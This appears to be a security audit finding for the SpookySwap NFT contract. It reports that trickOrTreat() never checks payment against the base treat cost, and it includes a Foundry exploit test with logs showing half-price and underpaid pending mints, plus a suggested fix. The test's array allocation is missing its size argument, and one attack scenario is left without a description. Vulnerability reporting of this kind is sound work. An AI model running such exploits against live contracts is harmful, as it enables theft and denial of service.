Summary
The SpookySwap
contract's trickOrTreat()
lacks a minimum payment check for the treat.cost
, enabling users to exploit the contract by sending insufficient funds.
This vulnerability will lead to unfair minting of NFTs at half price and the creation of numerous pending NFTs without adequate payment, potentially resulting in denial-of-service (DoS) conditions due to storage bloat and token ID exhaustion.
Vulnerability Details
The trickOrTreat() function never checks if msg.value is enough to cover the base treat cost. The check is only done to see if msg.value is enough depending on wether the user got a trick, a treat, or a regular scenario.
if (costMultiplierNumerator == 2 && costMultiplierDenominator == 1) {
@> if (msg.value >= requiredCost) {
mintTreat(msg.sender, treat);
} else {
uint256 tokenId = nextTokenId;
_mint(address(this), tokenId);
_setTokenURI(tokenId, treat.metadataURI);
nextTokenId += 1;
pendingNFTs[tokenId] = msg.sender;
pendingNFTsAmountPaid[tokenId] = msg.value;
tokenIdToTreatName[tokenId] = _treatName;
emit Swapped(msg.sender, _treatName, tokenId);
}
} else {
@> require(msg.value >= requiredCost, "Insufficient ETH sent for treat");
mintTreat(msg.sender, treat);
}
In the regular scenario when the treat is 1x cost, there is no issue since we are checking if enough fundws have been sent.
Problems arise when the user gets either a "trick" or "treat" (both scenarios have a 1/1000 probability).
This gives 2 different attacks scenarios:
-
Sending Exactly Half the Treat Cost:
If the random chance results in the "treat" scenario (half price), the user receives the NFT at half price.
If it results in the "trick" scenario (double price), the contract mints an NFT to itself and creates a pending purchase, even though the user only paid half the treat cost.
-
Sending Minimal ETH (Even 1 Wei):
Proof of Concept:
Run the command forge test --mt testHalfPriceNFT -vv
the following test and its setup function:
pragma solidity =0.8.25;
import "forge-std/Test.sol";
import "forge-std/console2.sol";
import "../src/TrickOrTreat.sol";
contract TrickOrTreatTest is Test {
SpookySwap public spookyswap;
address public owner;
address public user1;
address public user2;
function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
SpookySwap.Treat[] memory treats = new SpookySwap.Treat[]();
treats[0] = SpookySwap.Treat({name: "Candy", cost: 0.05 ether, metadataURI: "metadataURI_1"});
treats[1] = SpookySwap.Treat({name: "Chocolate", cost: 0.1 ether, metadataURI: "metadataURI_2"});
vm.deal(owner, 1 ether);
vm.startPrank(owner);
spookyswap = new SpookySwap(treats);
vm.stopPrank();
}
function testHalfPriceNFT() public {
vm.deal(user1, 1 ether);
uint256 treatCost = 0.05 ether;
uint256 payment = treatCost / 2;
console2.log("Initial user balance:", address(user1).balance);
uint256 nftsObtained = 0;
uint256 pendingNFTsObtained = 0;
uint256 totalSpent = 0;
uint256 attempts = 0;
uint256 maxAttempts = 10000;
while (attempts < maxAttempts) {
attempts++;
vm.roll(block.number + 1);
vm.warp(block.timestamp + 1);
bytes32 newPrevrandao = bytes32(uint256(block.prevrandao) + 1);
vm.prevrandao(newPrevrandao);
vm.prank(user1);
(bool success,) =
address(spookyswap).call{value: payment}(abi.encodeWithSignature("trickOrTreat(string)", "Candy"));
if (success) {
totalSpent += payment;
uint256 userNFTBalance = spookyswap.balanceOf(user1);
if (userNFTBalance > nftsObtained) {
nftsObtained++;
} else {
pendingNFTsObtained++;
}
}
}
console2.log("Next Token ID:", spookyswap.nextTokenId());
console2.log("Total pending NFT's at half-price:", pendingNFTsObtained);
console2.log("Total NFTs obtained:", nftsObtained);
console2.log("Total attempts made:", attempts);
console2.log("Total ETH spent:", totalSpent);
console2.log("Final user balance:", address(user1).balance);
assertEq(spookyswap.balanceOf(user1), nftsObtained, "Incorrect number of NFTs obtained");
uint256 actualPendingNFTs = 0;
uint256 totalTokenIds = spookyswap.nextTokenId() - 1;
for (uint256 tokenId = 1; tokenId <= totalTokenIds; tokenId++) {
address pendingOwner = spookyswap.pendingNFTs(tokenId);
if (pendingOwner == user1) {
actualPendingNFTs++;
}
}
assertEq(actualPendingNFTs, pendingNFTsObtained, "Mismatch in pending NFTs count for user1");
}
}
Which yields the output:
Ran 1 test for test/TestTrickOrTreat.t.sol:TrickOrTreatTest
[PASS] testHalfPriceNFT() (gas: 185618771)
Logs:Initial user balance: 1000000000000000000
Next Token ID: 18
Total pending NFT's at half-price: 10
Total NFTs obtained: 7
Total attempts made: 10000
Total ETH spent: 425000000000000000
Final user balance: 575000000000000000
The above test demonstrates how by continuously calling the trickOrTreat() function with exactly half the value of a treat, a user may mint nft's at half-price or mint pending NFT's.
By only sending 1 wei, the user may mint pending NFT's each time he gets "tricked" (1/1000 chance).
Impact
Unfair Advantage: Attackers can obtain NFTs at a reduced cost, undermining the contract's economic model and fairness to other users.
Denial-of-Service (DoS): Attackers can cause storage bloat by creating numerous pending NFTs with minimal payment, potentially making the contract unusable due to gas limits.
Token ID Exhaustion: Attackers can consume all available token IDs, preventing legitimate users from obtaining NFTs.
Financial Loss: The contract owner may incur additional costs due to increased storage usage and potential depletion of NFTs meant for legitimate sales.
Tools Used
Foudry, VS Code
Recommendations
Check that the payment when calling the function is at least worth the treat.cost
function trickOrTreat(string memory _treatName) public payable nonReentrant {
Treat memory treat = treatList[_treatName];
require(treat.cost > 0, "Treat cost not set.");
+ require(msg.value >= treat.cost, "Insuffucient funds sent.");
...
}